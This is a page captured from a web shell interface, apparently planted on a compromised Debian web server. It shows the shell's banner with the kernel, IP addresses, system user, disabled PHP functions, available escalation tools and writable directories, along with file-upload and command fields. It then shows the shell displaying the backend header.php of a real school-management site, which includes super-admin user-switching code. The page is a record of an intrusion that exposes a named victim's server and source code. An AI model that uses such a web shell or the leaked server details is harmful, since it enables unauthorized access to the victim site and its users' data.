Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.243.201
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/sms.formationlangues.be/application/views/backend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/sms.formationlangues.be/application/views/backend/header.php
<div class="row">
	<!-- Raw Links -->
	<div class="col-md-12 col-sm-12 clearfix ">
		<ul class="list-inline links-list pull-right">

		<li class="dropdown language-selector">
			<?php if($this->crud_model->is_first_session($this->session->userdata('userID'))): ?>
                <span class="notify-profile"></span>
            <?php endif ?>
			<?php if($this->session->userdata('superAdmin') == "1" || $this->session->userdata('superAdmin') == "2") : ?>
			    <?php $user_list = $this->crud_model->get_user_list(); ?>

                <div style="background:#cd2d2499;z-index:9999999;top:1px;right:4px;position:fixed;">
                    <span class="btn su-btn btn-danger entypo-smashing">uper Admin</span>
                    <select class="form-control select22 col-sm-5" id="users-su" style="width: 280px;">
                        <?php foreach($user_list as $u): ?>                            
                            <?php if (empty($u['first_name']) || empty($u['last_name'])) { continue; } ?>

                            <option value="<?php echo (int) $u['user_id'];?>" 
                                    data="<?php echo (int) $u['user_id'] . ";" . (int) $u['role_id'] . ";" . html_escape($u['first_name']) . " " . html_escape($u['last_name']); ?>">
                                <?php echo html_escape($u['first_name']) . " " . html_escape($u['last_name']); ?> 
                                <?php if ($u['role_id']==1) : ?>
                                    [ADMIN]
                                <?php elseif ($u['role_id'] == 2) : ?>
                                    [TEACHER]
                                <?php elseif ($u['role_id'] == 3) : ?>
                                    [PARENT]
                                <?php elseif ($u['role_id'] == 4) : ?>
                                    [STUDENT]
                                <?php elseif ($u['role_id'] == 5) : ?>
                                    [GROUP]
                                <?php else : ?>
                                    [INVITED]
                                <?php endif ?>
                            </option>
                        <?php endforeach?>
                    </select>
                </div>
                <script>
                    $('#users-su').val("<?php echo $this->session->userdata('userID'); ?>");
                    $('#users-su').change(function(){
                        var value = $('#users-su :selected').attr('data');
                        var values = value.split(";")
                        var name = values[2];
                        var role = values[1];
                        var user = values[0];
                        <?php if($this->session->userdata('superAdmin') == "2") :?>
                            $.post("/su/switch",{user: user, role: role, name: name},function(data){console.log(data);});
                            setTimeout(function (){window.location.reload('true');}, 1000);
                        <?php else : ?>
                            if(user != "18"){
                                $.post("/su/switch",{user: user, role: role, name: name},function(data){ console.log(data); });
                                setTimeout(function (){ window.location.reload('true'); }, 1000);
                            }
                        <?php endif ?>
                    });

                </script>
			<?php else : ?>
                <a href="#" class="dropdown-toggle" data-toggle="dropdown" data-close-others="true">
                    <i class="entypo-user su-load"></i>
                    <?php
                        $nameData = $this->db->get_where('user', array('user_id' => $this->userInfo['user_id']))->row();
                    ?>
                    <a href="<?php echo base_url() ?>profile">
                        <?php echo $nameData->first_name ?> <?php echo $nameData->last_name ?>
                    </a>
                </a>
            <?php endif ?>

				<ul class="dropdown-menu <?php if ($text_align == 'right-to-left') echo 'pull-right'; else echo 'pull-left';?>">
					<li>
						<a href="<?php echo base_url();?>profile">
                        	<i class="entypo-info"></i>
							<span><?php echo get_phrase('edit_profile');?></span>
						</a>
					</li>
					<li>
						<a href="<?php echo base_url();?>profile/index/reset">
                        	<i class="entypo-key"></i>
							<span><?php echo get_phrase('reset_password');?></span>
						</a>
					</li>
				</ul>
			</li>
			<?php if ($account_type == 'admin'):?>
                <li>
                    <a href="<?php echo base_url();?>communication">
                        <span class="notify-msg"></span>
                        <i class="entypo-chat right"></i>
                    </a>
                </li>
            <?php endif ?>
			<li>
				<a href="<?php echo base_url();?>index.php?login/logout">
					<?php echo get_phrase('Log_Out'); ?><i class="entypo-logout right"></i>
				</a>
			</li>
		</ul>
	</div>
</div>

<hr style="margin-top:0px;" />

<?php if ($this->session->flashdata('success')) : ?>
    <div class="alert alert-success text-center">
        <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a>
        <p><?php echo $this->session->flashdata('success'); ?></p>
    </div>
<?php endif ?>
<?php if ($this->session->flashdata('error')): ?>
    <div class="alert alert-danger text-center">
        <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a>
        <p><?php echo $this->session->flashdata('error'); ?></p>
    </div>
<?php endif ?>
<?php if ($this->session->flashdata('warning')): ?>
    <div class="alert alert-warning text-center">
        <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a>
        <p><?php echo $this->session->flashdata('warning'); ?></p>
    </div>
<?php endif ?>

<script type="text/javascript">
var cnt=0;

$(".su-load").click(function(){
	cnt=parseInt(cnt)+parseInt(1);
	if(cnt > 3){
		console.log("super admin mode");
		$.post("/su/start",function(data){
			console.log(data);
		});
		window.location.reload('true');
	}
});

$(".su-btn").click(function(){
		console.log("super admin closed");
		$.post("/su/stop",function(data){
			console.log(data);
		});
		window.location.reload('true');
});

	function get_session_changer()
	{
		$.ajax({
            url: '<?php echo base_url();?>index.php?admin/get_session_changer/',
            success: function(response)
            {
                jQuery('#session_static').html(response);
            }
        });
	}

	jQuery(document).ready(function($)
  {
		<?
		if($this->session->userdata('login_type') == "admin" && $this->config->item('stripe_test') != 'off'){?>
			displayBox('Stripe test enabled','mode debug activé',3);
		<?}?>


		if($('.language-selector').hasClass('notify-profile')){
			console.log('notify');
			displayBox('Please set up your Profile',"",3);
		}
		$('#users-su').select2();

		$( ".btn" ).contextmenu(function() {

		 var cpy = $(this).text();
		copyToClipboard(cpy);

		});


		function copyToClipboard(text) {
				console.log('cpy');
			    var dummy = document.createElement("textarea");
			    document.body.appendChild(dummy);
			    dummy.value = text;
			    dummy.select();
			    document.execCommand("copy");
			    document.body.removeChild(dummy);
		}

		//console.log('on');
			if (document.addEventListener) {
			  document.addEventListener('contextmenu', function(e) {
			   // alert("You've tried to open context menu 2"); //here you draw your own menu
			   // e.preventDefault();
				 console.log($(e)[0].target.innerText);

				 var cpy = $(e)[0].target.innerText;
					//var cpy =$(e.path[0]).text();
		 			copyToClipboard(cpy);
			  }, false);
			} else {
			  document.attachEvent('oncontextmenu', function() {
			   // alert("You've tried to open context menu");
			    window.event.returnValue = false;
			  });
			}
	});

function isoDate(inputFormat) {
  function pad(s) { return (s < 10) ? '0' + s : s; }
  var d = new Date(inputFormat)
  return [pad(d.getDate()), pad(d.getMonth()+1), d.getFullYear()].join('/')
}

</script>

Youez - 2016 - github.com/yon3zu
LinuXploit